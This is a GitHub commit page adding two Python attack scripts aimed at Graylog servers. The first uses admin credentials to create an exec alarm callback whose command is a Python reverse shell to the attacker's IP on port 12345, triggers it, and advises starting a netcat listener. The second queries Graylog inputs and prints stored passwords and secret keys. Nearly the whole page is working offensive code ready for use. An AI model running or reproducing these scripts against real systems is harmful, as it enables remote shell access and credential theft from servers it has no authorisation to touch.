-
Notifications
You must be signed in to change notification settings - Fork 14
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Jose Torres
committed
Sep 10, 2019
1 parent
7f0b1ac
commit 4cbbc85
Showing
22 changed files
with
1,265 additions
and
918 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
#!/usr/bin/env python3 | ||
|
||
# Graylog Create Alarm Callback to Obtain Reverse Shell | ||
|
||
# %%%%%%%%%%% Libraries %%%%%%%%%%%# | ||
|
||
import colorama | ||
import getpass | ||
import logging | ||
import requests | ||
import urllib3 | ||
from colorama import Fore, Style | ||
|
||
colorama.init() | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
|
||
# %%%%%%%%%%% Constants %%%%%%%%%%%# | ||
|
||
SEPARATOR = "[*] {0} [*]".format('=' * 110) | ||
|
||
# %%%%%%%%%% Functions %%%%%%%%%# | ||
|
||
def alarm_callback(graylogip): | ||
|
||
graylogpass = getpass.getpass( | ||
Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) | ||
|
||
localIP = input("[!] Enter your local IP address: ") | ||
alertid = "000000000000000000000000" | ||
authurl = "http://" + graylogip + ":9000/api/system/sessions" | ||
typesurl = "http://" + graylogip + ":9000/api/alerts/callbacks/types" | ||
alarmsurl = "http://" + graylogip + ":9000/api/streams/000000000000000000000001/alarmcallbacks" | ||
|
||
bashcommand = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," \ | ||
"socket.SOCK_STREAM);s.connect((\"" + localIP + "\",12345));os.dup2(s.fileno()," \ | ||
"0); os.dup2(s.fileno()," \ | ||
"1); os.dup2(s.fileno()," \ | ||
"2);import pty; pty.spawn(" \ | ||
"\"/bin/bash\")'" | ||
|
||
params = { | ||
"title": "testgraylog", "type": "ir.elenoon.ExeCommandAlarmCallBack", | ||
"configuration": {"bashCommand": bashcommand} | ||
} | ||
headers = {'X-Requested-By': 'XMLHttpRequest'} | ||
authparams = {'username': 'admin', 'password': graylogpass, 'host': graylogip} | ||
|
||
print(SEPARATOR) | ||
print("[!] Start a listener in port 12345, for example nc -lvp 12345") | ||
|
||
try: | ||
s = requests.Session() | ||
s.headers.update(headers) | ||
s.auth = ('admin', graylogpass) | ||
s.post(authurl, json = authparams, verify = False) | ||
|
||
response = s.get(typesurl, verify = False) | ||
|
||
if (response.status_code == 200 and "ir.elenoon.ExeCommandAlarmCallBack" in | ||
response.text): # text of graylog2 plugin exec | ||
print(SEPARATOR) | ||
print("[!] Alarm Callback Exec Plugin Found") | ||
postresponse = s.post(alarmsurl, json = params, verify = False) | ||
|
||
if postresponse.status_code == 201: # created status code | ||
print("[!] Alarm Callback Succesfully Created") | ||
data = postresponse.json() | ||
alertid = str(data['alarmcallback_id']) | ||
|
||
if (alertid != "000000000000000000000000"): | ||
print("[!] Alarm Callback ID: " + alertid) | ||
testurl = "http://" + graylogip + ":9000/api/alerts/callbacks/" + alertid + \ | ||
"/test" | ||
testresponse = s.post(testurl, verify = False) | ||
|
||
if testresponse.status_code == 200: | ||
print( | ||
"[!] Test Action Started: " + Fore.RED + Style.BRIGHT + "Reverse Shell Ready") | ||
print(Style.RESET_ALL + SEPARATOR) | ||
else: | ||
print("[!] Error in Action Test") | ||
else: | ||
print("[!] Error in Alarm Callback ID") | ||
|
||
else: | ||
print("[!] Error in Alarm Callback Creation") | ||
|
||
else: | ||
print(SEPARATOR) | ||
print("[!] Alarm Callback Exec Plugin Not Found") | ||
|
||
except Exception as e: | ||
logging.error(e, exc_info = True) | ||
|
||
# %%%%%%%%%% The End %%%%%%%%%%# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
#!/usr/bin/env python3 | ||
|
||
# Graylog Obtain Credentials from Inputs | ||
|
||
# %%%%%%%%%%% Libraries %%%%%%%%%%%# | ||
|
||
import colorama | ||
import getpass | ||
import json | ||
import logging | ||
import requests | ||
import urllib3 | ||
from requests.auth import HTTPBasicAuth | ||
from colorama import Fore, Style | ||
|
||
colorama.init() | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
|
||
# %%%%%%%%%%% Constants %%%%%%%%%%%# | ||
|
||
SEPARATOR = "[*] {0} [*]".format('=' * 110) | ||
|
||
# %%%%%%%%%% Functions %%%%%%%%%# | ||
|
||
def obtain_inputs(graylogip): | ||
|
||
inputsurl = "http://" + graylogip + ":9000/api/system/inputs?pretty=true" | ||
graylogpass = getpass.getpass( | ||
Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) | ||
|
||
try: | ||
response = requests.get(inputsurl, auth = HTTPBasicAuth('admin', graylogpass)) | ||
|
||
if response.status_code == 200 and "DOCTYPE html" not in response.text: | ||
|
||
print(SEPARATOR) | ||
print("[!] Graylog Inputs with Secret Keys or Passwords") | ||
data = response.json() | ||
inputs = data['inputs'] | ||
|
||
for x in inputs: | ||
attributes = x['attributes'] | ||
|
||
if 'password' in str(attributes) or 'secret' in str(attributes): | ||
print(SEPARATOR) | ||
print("[!] " + str(x['title'])) | ||
print(SEPARATOR) | ||
for y in attributes: | ||
if 'password' in str(y) or 'secret' in str(y): | ||
print(Fore.RED + Style.BRIGHT + "[!] " + str(y) + ": " + str( | ||
attributes[y]) + Style.RESET_ALL) | ||
else: | ||
print("[!] " + str(y) + ": " + str(attributes[y])) | ||
print(SEPARATOR) | ||
|
||
else: | ||
print(SEPARATOR) | ||
print("[!] Error obtaining Graylog Inputs") | ||
|
||
except Exception as e: | ||
logging.error(e, exc_info = True) | ||
|
||
# %%%%%%%%%% The End %%%%%%%%%%# |
Oops, something went wrong.